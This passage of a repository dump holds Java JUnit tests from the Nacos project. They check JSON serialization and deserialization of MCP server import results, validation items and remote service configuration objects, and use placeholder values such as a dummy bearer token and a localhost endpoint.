assertNotNull(result);\n        assertFalse(result.isSuccess());\n        assertEquals(0, result.getTotalCount());\n        assertEquals(0, result.getSuccessCount());\n        assertEquals(0, result.getFailedCount());\n        assertEquals(0, result.getSkippedCount());\n        assertEquals(\"Invalid import data format\", result.getErrorMessage());\n        assertNotNull(result.getResults());\n        assertEquals(0, result.getResults().size());\n    }\n    \n    @Test\n    void testDeserializePartialSuccessResponse() throws JsonProcessingException {\n        String json = \"{\\\"success\\\":true,\\\"totalCount\\\":3,\\\"successCount\\\":2,\\\"failedCount\\\":0,\\\"skippedCount\\\":1,\"\n                + \"\\\"results\\\":[{\\\"serverName\\\":\\\"existing-server\\\",\\\"status\\\":\\\"skipped\\\",\\\"conflictType\\\":\\\"duplicate_name\\\"}]}\";\n        \n        McpServerImportResponse result = mapper.readValue(json, McpServerImportResponse.class);\n        assertNotNull(result);\n        assertTrue(result.isSuccess());\n        assertEquals(3, result.getTotalCount());\n        assertEquals(2, result.getSuccessCount());\n        assertEquals(0, result.getFailedCount());\n        assertEquals(1, result.getSkippedCount());\n        assertNotNull(result.getResults());\n        assertEquals(1, result.getResults().size());\n        \n        McpServerImportResult importResult = result.getResults().get(0);\n        assertEquals(\"existing-server\", importResult.getServerName());\n        assertEquals(\"skipped\", importResult.getStatus());\n        assertEquals(\"duplicate_name\", importResult.getConflictType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportResultTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerImportResultTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeSuccessResult() throws JsonProcessingException {\n        McpServerImportResult result = new McpServerImportResult();\n        result.setServerName(\"test-server\");\n        result.setServerId(\"server-123\");\n        result.setStatus(\"success\");\n        \n        String json = mapper.writeValueAsString(result);\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"test-server\\\"\"));\n        assertTrue(json.contains(\"\\\"serverId\\\":\\\"server-123\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"success\\\"\"));\n    }\n    \n    @Test\n    void testSerializeFailedResult() throws JsonProcessingException {\n        McpServerImportResult result = new McpServerImportResult();\n        result.setServerName(\"failed-server\");\n        result.setStatus(\"failed\");\n        result.setErrorMessage(\"Connection timeout\");\n        \n        String json = mapper.writeValueAsString(result);\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"failed-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"failed\\\"\"));\n        assertTrue(json.contains(\"\\\"errorMessage\\\":\\\"Connection timeout\\\"\"));\n    }\n    \n    @Test\n    void testSerializeSkippedResult() throws JsonProcessingException {\n        McpServerImportResult result = new McpServerImportResult();\n        result.setServerName(\"existing-server\");\n        result.setStatus(\"skipped\");\n        result.setConflictType(\"duplicate_name\");\n        \n        String json = mapper.writeValueAsString(result);\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"existing-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"skipped\\\"\"));\n        assertTrue(json.contains(\"\\\"conflictType\\\":\\\"duplicate_name\\\"\"));\n    }\n    \n    @Test\n    void testSerializeCompleteResult() throws JsonProcessingException {\n        McpServerImportResult result = new McpServerImportResult();\n        result.setServerName(\"complete-server\");\n        result.setServerId(\"server-456\");\n        result.setStatus(\"success\");\n        result.setErrorMessage(\"Warning: deprecated config\");\n        result.setConflictType(\"version_conflict\");\n        \n        String json = mapper.writeValueAsString(result);\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"complete-server\\\"\"));\n        assertTrue(json.contains(\"\\\"serverId\\\":\\\"server-456\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"success\\\"\"));\n        assertTrue(json.contains(\"\\\"errorMessage\\\":\\\"Warning: deprecated config\\\"\"));\n        assertTrue(json.contains(\"\\\"conflictType\\\":\\\"version_conflict\\\"\"));\n    }\n    \n    @Test\n    void testDeserializeSuccessResult() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"test-server\\\",\\\"serverId\\\":\\\"server-123\\\",\\\"status\\\":\\\"success\\\"}\";\n        \n        McpServerImportResult result = mapper.readValue(json, McpServerImportResult.class);\n        assertNotNull(result);\n        assertEquals(\"test-server\", result.getServerName());\n        assertEquals(\"server-123\", result.getServerId());\n        assertEquals(\"success\", result.getStatus());\n        assertNull(result.getErrorMessage());\n        assertNull(result.getConflictType());\n    }\n    \n    @Test\n    void testDeserializeFailedResult() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"failed-server\\\",\\\"status\\\":\\\"failed\\\",\\\"errorMessage\\\":\\\"Connection timeout\\\"}\";\n        \n        McpServerImportResult result = mapper.readValue(json, McpServerImportResult.class);\n        assertNotNull(result);\n        assertEquals(\"failed-server\", result.getServerName());\n        assertNull(result.getServerId());\n        assertEquals(\"failed\", result.getStatus());\n        assertEquals(\"Connection timeout\", result.getErrorMessage());\n        assertNull(result.getConflictType());\n    }\n    \n    @Test\n    void testDeserializeSkippedResult() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"existing-server\\\",\\\"status\\\":\\\"skipped\\\",\\\"conflictType\\\":\\\"duplicate_name\\\"}\";\n        \n        McpServerImportResult result = mapper.readValue(json, McpServerImportResult.class);\n        assertNotNull(result);\n        assertEquals(\"existing-server\", result.getServerName());\n        assertNull(result.getServerId());\n        assertEquals(\"skipped\", result.getStatus());\n        assertNull(result.getErrorMessage());\n        assertEquals(\"duplicate_name\", result.getConflictType());\n    }\n    \n    @Test\n    void testDeserializeCompleteResult() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"complete-server\\\",\\\"serverId\\\":\\\"server-456\\\",\\\"status\\\":\\\"success\\\",\"\n                + \"\\\"errorMessage\\\":\\\"Warning: deprecated config\\\",\\\"conflictType\\\":\\\"version_conflict\\\"}\";\n        \n        McpServerImportResult result = mapper.readValue(json, McpServerImportResult.class);\n        assertNotNull(result);\n        assertEquals(\"complete-server\", result.getServerName());\n        assertEquals(\"server-456\", result.getServerId());\n        assertEquals(\"success\", result.getStatus());\n        assertEquals(\"Warning: deprecated config\", result.getErrorMessage());\n        assertEquals(\"version_conflict\", result.getConflictType());\n    }\n    \n    @Test\n    void testDeserializeMinimalResult() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"minimal-server\\\",\\\"status\\\":\\\"unknown\\\"}\";\n        \n        McpServerImportResult result = mapper.readValue(json, McpServerImportResult.class);\n        assertNotNull(result);\n        assertEquals(\"minimal-server\", result.getServerName());\n        assertNull(result.getServerId());\n        assertEquals(\"unknown\", result.getStatus());\n        assertNull(result.getErrorMessage());\n        assertNull(result.getConflictType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerImportValidationResultTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerImportValidationResultTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeValidResult() throws JsonProcessingException {\n        McpServerImportValidationResult result = new McpServerImportValidationResult();\n        result.setValid(true);\n        result.setTotalCount(3);\n        result.setValidCount(3);\n        result.setInvalidCount(0);\n        result.setDuplicateCount(0);\n        result.setNextCursor(\"next_cursor_123\");\n        result.setHasMore(true);\n        \n        McpServerValidationItem item1 = new McpServerValidationItem();\n        item1.setServerName(\"server1\");\n        item1.setServerId(\"id1\");\n        item1.setStatus(\"valid\");\n        item1.setSelected(true);\n        \n        McpServerValidationItem item2 = new McpServerValidationItem();\n        item2.setServerName(\"server2\");\n        item2.setServerId(\"id2\");\n        item2.setStatus(\"valid\");\n        item2.setSelected(false);\n        \n        result.setServers(Arrays.asList(item1, item2));\n        result.setErrors(Collections.emptyList());\n        \n        String json = mapper.writeValueAsString(result);\n        assertTrue(json.contains(\"\\\"valid\\\":true\"));\n        assertTrue(json.contains(\"\\\"totalCount\\\":3\"));\n        assertTrue(json.contains(\"\\\"validCount\\\":3\"));\n        assertTrue(json.contains(\"\\\"invalidCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"duplicateCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"servers\\\":[\"));\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"server1\\\"\"));\n        assertTrue(json.contains(\"\\\"serverId\\\":\\\"id1\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"valid\\\"\"));\n        assertTrue(json.contains(\"\\\"selected\\\":true\"));\n        assertTrue(json.contains(\"\\\"selected\\\":false\"));\n        assertTrue(json.contains(\"\\\"errors\\\":[]\"));\n        assertTrue(json.contains(\"\\\"nextCursor\\\":\\\"next_cursor_123\\\"\"));\n        assertTrue(json.contains(\"\\\"hasMore\\\":true\"));\n    }\n    \n    @Test\n    void testSerializeInvalidResult() throws JsonProcessingException {\n        McpServerImportValidationResult result = new McpServerImportValidationResult();\n        result.setValid(false);\n        result.setTotalCount(2);\n        result.setValidCount(1);\n        result.setInvalidCount(1);\n        result.setDuplicateCount(0);\n        result.setNextCursor(\"next_cursor_456\");\n        result.setHasMore(false);\n        \n        McpServerValidationItem validItem = new McpServerValidationItem();\n        validItem.setServerName(\"valid-server\");\n        validItem.setStatus(\"valid\");\n        validItem.setExists(false);\n        \n        McpServerValidationItem invalidItem = new McpServerValidationItem();\n        invalidItem.setServerName(\"invalid-server\");\n        invalidItem.setStatus(\"invalid\");\n        invalidItem.setErrors(Arrays.asList(\"Missing protocol\", \"Invalid port\"));\n        \n        result.setServers(Arrays.asList(validItem, invalidItem));\n        result.setErrors(Arrays.asList(\"Invalid JSON format\", \"Missing required fields\"));\n        \n        String json = mapper.writeValueAsString(result);\n        assertTrue(json.contains(\"\\\"valid\\\":false\"));\n        assertTrue(json.contains(\"\\\"totalCount\\\":2\"));\n        assertTrue(json.contains(\"\\\"validCount\\\":1\"));\n        assertTrue(json.contains(\"\\\"invalidCount\\\":1\"));\n        assertTrue(json.contains(\"\\\"duplicateCount\\\":0\"));\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"valid-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"valid\\\"\"));\n        assertTrue(json.contains(\"\\\"exists\\\":false\"));\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"invalid-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"invalid\\\"\"));\n        assertTrue(json.contains(\"\\\"errors\\\":[\\\"Missing protocol\\\",\\\"Invalid port\\\"]\"));\n        assertTrue(json.contains(\"\\\"errors\\\":[\\\"Invalid JSON format\\\",\\\"Missing required fields\\\"]\"));\n        assertTrue(json.contains(\"\\\"nextCursor\\\":\\\"next_cursor_456\\\"\"));\n        assertTrue(json.contains(\"\\\"hasMore\\\":false\"));\n    }\n    \n    @Test\n    void testSerializeDuplicateResult() throws JsonProcessingException {\n        McpServerImportValidationResult result = new McpServerImportValidationResult();\n        result.setValid(true);\n        result.setTotalCount(2);\n        result.setValidCount(1);\n        result.setInvalidCount(0);\n        result.setDuplicateCount(1);\n        result.setNextCursor(\"next_cursor_789\");\n        result.setHasMore(true);\n        \n        McpServerValidationItem duplicateItem = new McpServerValidationItem();\n        duplicateItem.setServerName(\"existing-server\");\n        duplicateItem.setServerId(\"existing-id\");\n        duplicateItem.setStatus(\"duplicate\");\n        duplicateItem.setExists(true);\n        \n        result.setServers(Collections.singletonList(duplicateItem));\n        result.setErrors(Collections.emptyList());\n        \n        String json = mapper.writeValueAsString(result);\n        assertTrue(json.contains(\"\\\"valid\\\":true\"));\n        assertTrue(json.contains(\"\\\"duplicateCount\\\":1\"));\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"existing-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"duplicate\\\"\"));\n        assertTrue(json.contains(\"\\\"exists\\\":true\"));\n        assertTrue(json.contains(\"\\\"nextCursor\\\":\\\"next_cursor_789\\\"\"));\n        assertTrue(json.contains(\"\\\"hasMore\\\":true\"));\n    }\n    \n    @Test\n    void testDeserializeValidResult() throws JsonProcessingException {\n        String json = \"{\\\"valid\\\":true,\\\"totalCount\\\":3,\\\"validCount\\\":3,\\\"invalidCount\\\":0,\\\"duplicateCount\\\":0,\"\n                + \"\\\"servers\\\":[{\\\"serverName\\\":\\\"server1\\\",\\\"serverId\\\":\\\"id1\\\",\\\"status\\\":\\\"valid\\\",\\\"selected\\\":true,\\\"exists\\\":false},\"\n                + \"{\\\"serverName\\\":\\\"server2\\\",\\\"serverId\\\":\\\"id2\\\",\\\"status\\\":\\\"valid\\\",\\\"selected\\\":false,\\\"exists\\\":false}],\"\n                + \"\\\"errors\\\":[],\\\"nextCursor\\\":\\\"next_cursor_123\\\",\\\"hasMore\\\":true}\";\n        \n        McpServerImportValidationResult result = mapper.readValue(json, McpServerImportValidationResult.class);\n        assertNotNull(result);\n        assertTrue(result.isValid());\n        assertEquals(3, result.getTotalCount());\n        assertEquals(3, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertEquals(\"next_cursor_123\", result.getNextCursor());\n        assertTrue(result.isHasMore());\n        \n        assertNotNull(result.getServers());\n        assertEquals(2, result.getServers().size());\n        \n        McpServerValidationItem item1 = result.getServers().get(0);\n        assertEquals(\"server1\", item1.getServerName());\n        assertEquals(\"id1\", item1.getServerId());\n        assertEquals(\"valid\", item1.getStatus());\n        assertTrue(item1.isSelected());\n        assertFalse(item1.isExists());\n        \n        McpServerValidationItem item2 = result.getServers().get(1);\n        assertEquals(\"server2\", item2.getServerName());\n        assertEquals(\"id2\", item2.getServerId());\n        assertEquals(\"valid\", item2.getStatus());\n        assertFalse(item2.isSelected());\n        assertFalse(item2.isExists());\n        \n        assertNotNull(result.getErrors());\n        assertEquals(0, result.getErrors().size());\n    }\n    \n    @Test\n    void testDeserializeInvalidResult() throws JsonProcessingException {\n        String json = \"{\\\"valid\\\":false,\\\"totalCount\\\":2,\\\"validCount\\\":1,\\\"invalidCount\\\":1,\\\"duplicateCount\\\":0,\"\n                + \"\\\"servers\\\":[{\\\"serverName\\\":\\\"valid-server\\\",\\\"status\\\":\\\"valid\\\",\\\"exists\\\":false},\"\n                + \"{\\\"serverName\\\":\\\"invalid-server\\\",\\\"status\\\":\\\"invalid\\\",\\\"errors\\\":[\\\"Missing protocol\\\",\\\"Invalid port\\\"]}],\"\n                + \"\\\"errors\\\":[\\\"Invalid JSON format\\\",\\\"Missing required fields\\\"],\"\n                + \"\\\"nextCursor\\\":\\\"next_cursor_456\\\",\\\"hasMore\\\":false}\";\n        \n        McpServerImportValidationResult result = mapper.readValue(json, McpServerImportValidationResult.class);\n        assertNotNull(result);\n        assertFalse(result.isValid());\n        assertEquals(2, result.getTotalCount());\n        assertEquals(1, result.getValidCount());\n        assertEquals(1, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertEquals(\"next_cursor_456\", result.getNextCursor());\n        assertFalse(result.isHasMore());\n        \n        assertNotNull(result.getServers());\n        assertEquals(2, result.getServers().size());\n        \n        McpServerValidationItem validItem = result.getServers().get(0);\n        assertEquals(\"valid-server\", validItem.getServerName());\n        assertEquals(\"valid\", validItem.getStatus());\n        assertFalse(validItem.isExists());\n        \n        McpServerValidationItem invalidItem = result.getServers().get(1);\n        assertEquals(\"invalid-server\", invalidItem.getServerName());\n        assertEquals(\"invalid\", invalidItem.getStatus());\n        assertNotNull(invalidItem.getErrors());\n        assertEquals(2, invalidItem.getErrors().size());\n        assertEquals(\"Missing protocol\", invalidItem.getErrors().get(0));\n        assertEquals(\"Invalid port\", invalidItem.getErrors().get(1));\n        \n        assertNotNull(result.getErrors());\n        assertEquals(2, result.getErrors().size());\n        assertEquals(\"Invalid JSON format\", result.getErrors().get(0));\n        assertEquals(\"Missing required fields\", result.getErrors().get(1));\n    }\n    \n    @Test\n    void testDeserializeDuplicateResult() throws JsonProcessingException {\n        String json = \"{\\\"valid\\\":true,\\\"totalCount\\\":2,\\\"validCount\\\":1,\\\"invalidCount\\\":0,\\\"duplicateCount\\\":1,\"\n                + \"\\\"servers\\\":[{\\\"serverName\\\":\\\"existing-server\\\",\\\"serverId\\\":\\\"existing-id\\\",\\\"status\\\":\\\"duplicate\\\",\\\"exists\\\":true}],\"\n                + \"\\\"errors\\\":[],\\\"nextCursor\\\":\\\"next_cursor_789\\\",\\\"hasMore\\\":true}\";\n        \n        McpServerImportValidationResult result = mapper.readValue(json, McpServerImportValidationResult.class);\n        assertNotNull(result);\n        assertTrue(result.isValid());\n        assertEquals(2, result.getTotalCount());\n        assertEquals(1, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(1, result.getDuplicateCount());\n        assertEquals(\"next_cursor_789\", result.getNextCursor());\n        assertTrue(result.isHasMore());\n        \n        assertNotNull(result.getServers());\n        assertEquals(1, result.getServers().size());\n        \n        McpServerValidationItem duplicateItem = result.getServers().get(0);\n        assertEquals(\"existing-server\", duplicateItem.getServerName());\n        assertEquals(\"existing-id\", duplicateItem.getServerId());\n        assertEquals(\"duplicate\", duplicateItem.getStatus());\n        assertTrue(duplicateItem.isExists());\n        \n        assertNotNull(result.getErrors());\n        assertEquals(0, result.getErrors().size());\n    }\n    \n    @Test\n    void testDeserializeMinimalResult() throws JsonProcessingException {\n        String json = \"{\\\"valid\\\":false,\\\"totalCount\\\":0,\\\"validCount\\\":0,\\\"invalidCount\\\":0,\\\"duplicateCount\\\":0}\";\n        \n        McpServerImportValidationResult result = mapper.readValue(json, McpServerImportValidationResult.class);\n        assertNotNull(result);\n        assertFalse(result.isValid());\n        assertEquals(0, result.getTotalCount());\n        assertEquals(0, result.getValidCount());\n        assertEquals(0, result.getInvalidCount());\n        assertEquals(0, result.getDuplicateCount());\n        assertNull(result.getServers());\n        assertNull(result.getErrors());\n        assertNull(result.getNextCursor());\n        assertFalse(result.isHasMore());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerRemoteServiceConfigTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.KeyValueInput;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerRemoteServiceConfigTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        remoteServiceConfig.setExportPath(\"/mcp/export\");\n        \n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(\"public\");\n        serviceRef.setGroupName(\"DEFAULT_GROUP\");\n        serviceRef.setServiceName(\"mcp-service\");\n        remoteServiceConfig.setServiceRef(serviceRef);\n        \n        final List<FrontEndpointConfig> frontEndpointConfigs = new ArrayList<>();\n        FrontEndpointConfig frontEndpointConfig = new FrontEndpointConfig();\n        frontEndpointConfig.setType(\"sse\");\n        frontEndpointConfig.setProtocol(\"http\");\n        frontEndpointConfig.setEndpointType(\"DIRECT\");\n        frontEndpointConfig.setEndpointData(\"127.0.0.1:8080\");\n        frontEndpointConfig.setPath(\"/front\");\n        \n        List<KeyValueInput> headers = new ArrayList<>();\n        KeyValueInput header = new KeyValueInput();\n        header.setName(\"Authorization\");\n        header.setValue(\"Bearer token\");\n        headers.add(header);\n        frontEndpointConfig.setHeaders(headers);\n        \n        frontEndpointConfigs.add(frontEndpointConfig);\n        remoteServiceConfig.setFrontEndpointConfigList(frontEndpointConfigs);\n        \n        String json = mapper.writeValueAsString(remoteServiceConfig);\n        assertTrue(json.contains(\"\\\"exportPath\\\":\\\"/mcp/export\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceRef\\\":{\"));\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"DEFAULT_GROUP\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"mcp-service\\\"\"));\n        assertTrue(json.contains(\"\\\"frontEndpointConfigList\\\":[\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"sse\\\"\"));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"http\\\"\"));\n        assertTrue(json.contains(\"\\\"endpointType\\\":\\\"DIRECT\\\"\"));\n        assertTrue(json.contains(\"\\\"endpointData\\\":\\\"127.0.0.1:8080\\\"\"));\n        assertTrue(json.contains(\"\\\"path\\\":\\\"/front\\\"\"));\n        assertTrue(json.contains(\"\\\"headers\\\":[\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"serviceRef\\\":{\\\"namespaceId\\\":\\\"public\\\",\\\"groupName\\\":\\\"DEFAULT_GROUP\\\",\"\n                + \"\\\"serviceName\\\":\\\"mcp-service\\\"},\\\"exportPath\\\":\\\"/mcp/export\\\",\"\n                + \"\\\"frontEndpointConfigList\\\":[{\\\"type\\\":\\\"sse\\\",\\\"protocol\\\":\\\"http\\\",\"\n                + \"\\\"endpointType\\\":\\\"DIRECT\\\",\\\"endpointData\\\":\\\"127.0.0.1:8080\\\",\\\"path\\\":\\\"/front\\\",\"\n                + \"\\\"headers\\\":[{\\\"name\\\":\\\"Authorization\\\",\\\"value\\\":\\\"Bearer token\\\"}]}]}\";\n        \n        McpServerRemoteServiceConfig result = mapper.readValue(json, McpServerRemoteServiceConfig.class);\n        assertNotNull(result);\n        assertEquals(\"/mcp/export\", result.getExportPath());\n        assertNotNull(result.getServiceRef());\n        assertEquals(\"public\", result.getServiceRef().getNamespaceId());\n        assertEquals(\"DEFAULT_GROUP\", result.getServiceRef().getGroupName());\n        assertEquals(\"mcp-service\", result.getServiceRef().getServiceName());\n        assertNotNull(result.getFrontEndpointConfigList());\n        assertEquals(1, result.getFrontEndpointConfigList().size());\n        FrontEndpointConfig frontEndpointConfig = result.getFrontEndpointConfigList().get(0);\n        assertEquals(\"sse\", frontEndpointConfig.getType());\n        assertEquals(\"http\", frontEndpointConfig.getProtocol());\n        assertEquals(\"DIRECT\", frontEndpointConfig.getEndpointType());\n        assertEquals(\"127.0.0.1:8080\", frontEndpointConfig.getEndpointData());\n        assertEquals(\"/front\", frontEndpointConfig.getPath());\n        assertNotNull(frontEndpointConfig.getHeaders());\n        assertEquals(1, frontEndpointConfig.getHeaders().size());\n        assertEquals(\"Authorization\", frontEndpointConfig.getHeaders().get(0).getName());\n        assertEquals(\"Bearer token\", frontEndpointConfig.getHeaders().get(0).getValue());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerValidationItemTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.SerializationFeature;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerValidationItemTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeValidItem() throws JsonProcessingException {\n        mapper.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS);\n        \n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerName(\"test-server\");\n        item.setServerId(\"server-123\");\n        item.setStatus(\"valid\");\n        item.setExists(false);\n        item.setSelected(true);\n        \n        McpServerDetailInfo server = new McpServerDetailInfo();\n        server.setName(\"test-server\");\n        server.setId(\"server-123\");\n        server.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        server.setDescription(\"Test server\");\n        item.setServer(server);\n        \n        String json = mapper.writeValueAsString(item);\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"test-server\\\"\"));\n        assertTrue(json.contains(\"\\\"serverId\\\":\\\"server-123\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"valid\\\"\"));\n        assertTrue(json.contains(\"\\\"exists\\\":false\"));\n        assertTrue(json.contains(\"\\\"selected\\\":true\"));\n        assertTrue(json.contains(\"\\\"server\\\":{\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"test-server\\\"\"));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"stdio\\\"\"));\n    }\n    \n    @Test\n    void testSerializeInvalidItem() throws JsonProcessingException {\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerName(\"invalid-server\");\n        item.setStatus(\"invalid\");\n        item.setErrors(Arrays.asList(\"Missing protocol\", \"Invalid port\", \"Empty name\"));\n        item.setExists(false);\n        item.setSelected(false);\n        \n        String json = mapper.writeValueAsString(item);\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"invalid-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"invalid\\\"\"));\n        assertTrue(json.contains(\"\\\"errors\\\":[\\\"Missing protocol\\\",\\\"Invalid port\\\",\\\"Empty name\\\"]\"));\n        assertTrue(json.contains(\"\\\"exists\\\":false\"));\n        assertTrue(json.contains(\"\\\"selected\\\":false\"));\n    }\n    \n    @Test\n    void testSerializeDuplicateItem() throws JsonProcessingException {\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerName(\"existing-server\");\n        item.setServerId(\"existing-id\");\n        item.setStatus(\"duplicate\");\n        item.setExists(true);\n        item.setSelected(false);\n        item.setErrors(Collections.singletonList(\"Server already exists\"));\n        \n        String json = mapper.writeValueAsString(item);\n        assertTrue(json.contains(\"\\\"serverName\\\":\\\"existing-server\\\"\"));\n        assertTrue(json.contains(\"\\\"serverId\\\":\\\"existing-id\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"duplicate\\\"\"));\n        assertTrue(json.contains(\"\\\"exists\\\":true\"));\n        assertTrue(json.contains(\"\\\"selected\\\":false\"));\n        assertTrue(json.contains(\"\\\"errors\\\":[\\\"Server already exists\\\"]\"));\n    }\n    \n    @Test\n    void testSerializeDefaultSelectedValue() throws JsonProcessingException {\n        McpServerValidationItem item = new McpServerValidationItem();\n        item.setServerName(\"default-server\");\n        item.setStatus(\"valid\");\n        \n        String json = mapper.writeValueAsString(item);\n        